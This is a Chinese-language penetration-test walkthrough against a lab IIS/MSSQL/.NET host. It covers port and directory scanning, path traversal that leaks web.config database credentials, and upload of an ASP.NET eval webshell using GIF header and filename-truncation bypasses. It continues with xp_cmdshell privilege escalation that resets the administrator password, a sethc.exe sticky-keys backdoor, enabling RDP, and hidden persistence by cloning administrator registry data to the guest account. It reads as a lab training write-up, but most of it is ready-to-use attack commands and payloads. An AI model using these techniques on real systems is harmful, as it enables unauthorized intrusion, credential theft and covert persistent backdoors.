2|0渗透全过程
1.信息收集-端口探测
1)Nmap端口探测:namp -sS -p 1-65535 172.16.12.103
可以看到端口开放情况
2.判断系统情况
根据端口情况初步判定为IIS+mssql+.net系统,访问web站点URL应该为:http:172.16.12.103:27689
访问网站出现登入框
这里想到直接使用admin爆破一波,但是没爆破出来,估计密码复杂,于是只有另辟蹊径
3.网站目录扫描
御剑、burpsuite进行目录扫描,burpsuite的扫描类似爆破套路,这里直接使用御剑扫描
只有两个目录可以访问,其它需要登入验证后授权。
1)访问/robots,txt目录出现下面几个目录,都需要登入,其中/admin/file_down.aspx报错。
2)访问/admin/file_down.aspx目录报错信息如下
看到源文件路径,访问参数为file,联想到是否存在mssql根目录下的web.config文件
4.通过file参数访问web.config文件寻找可用数据
http://172.16.12.103:27689/admin/file_down.aspx?File=../../web.config(注意:这里上级目录为/admin,再跳一次就为根目录了)
直接可以下载web.config文件,打开XML文件查看直接看到数据库账号/密码:down/downsql
5.连接数据库
使用工具navicat连接数据库,尝试查找数据库中web的账号密码
1)连接数据库
2)可视化管理软件,直接查表,就不用sql语句查询,查看一个UserLists表,查看得到admin密码为adfasdfsadfef
6.使用admin账号登入web登录框
7.找到上传点,上传木马
部署在IIS上的为asp.net,直接上传asp.net的一句话:
<%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%>
头添加GIF89a识别文件头为GIF,避免内容检测不通过
1)第一次上传解析不成功
修改后缀为aspx无法上传,大小写、双写等绕不过(各种尝试),只能上传.aspx.jpg形式的
上传a.aspx.jpg文件成功,但是无法解析为aspx文件
2)查看”管理文件上传”,提示文件名达到32位字符会被截取作为文件名,观察例子,当文件名字符为13位后都被截取,那么想到可以截掉.jpg部分就可以识别为aspx
上传文件为aaaaaaaa.aspx.jpg的一句话成功截断为aspx
3)找上传路径,判断是否解析成功,burp中未找到,源码没有,”管理上传文件”中查文件找到一个报错信息看到路径为/upfile/affix/
访问文件,解析成功
8.使用菜刀连接getshell
1)配置菜刀
2)连接数据库成功
3)通过虚拟终端查看权限
Whoami查看明显权限不够
9.mssql提升权限
基本思路就是新建用户添加到administrator,开启3389,最后远程连接服务器。
使用xp_cmdshell尝试提权,使用编辑器新建用户加入adminnistrator失败,提示无权限进行创建账号
第一种提权:提升net.exe或者net1.exe的权限,然后新建用户
1)提升net.exe的权限
命令:exec xp_cmdshell 'echo y|cacls net.exe /g system:f'
2)重置administrator账号密码
命令:exec xp_cmdshell 'net user administrator gooann'
3)开启远程3389,直接使用administrator账号远程到服务器。
第二种提权方法:
1)使用xp_cmdshell命令,sethc复制cmd.exe,形成shif后门,可以远程到机器后进行利用;这里相当于我按住5次shif就粘贴cmd.exe了,可以在远程服务器界面使用。
命令:exec xp_cmdshell 'attrib -s -r -h sethc.exe && copy cmd.exe
2)上传开启3389远程的3389.bat,在虚拟终端中执行
3)远程到目的服务器,利用shift后门
按住5次shift后将出现cmd就会粘贴到桌面
4)Whoami查看一下权限为system权限,接下来想办法能进入图形化界面
4)进入图形化界面
直接在cmd中输入:explorer.exe进入windows可视化界面,也就是进入桌面
10.权限维持几种方法
1)图形化界面直接修改账号密码;
2)新建一个用户;
3)修改注册表,将administrator账号的注册表信息复制到禁用的guest账号,这时候禁用的guset账号还是可以使用,这种方法就很隐蔽了。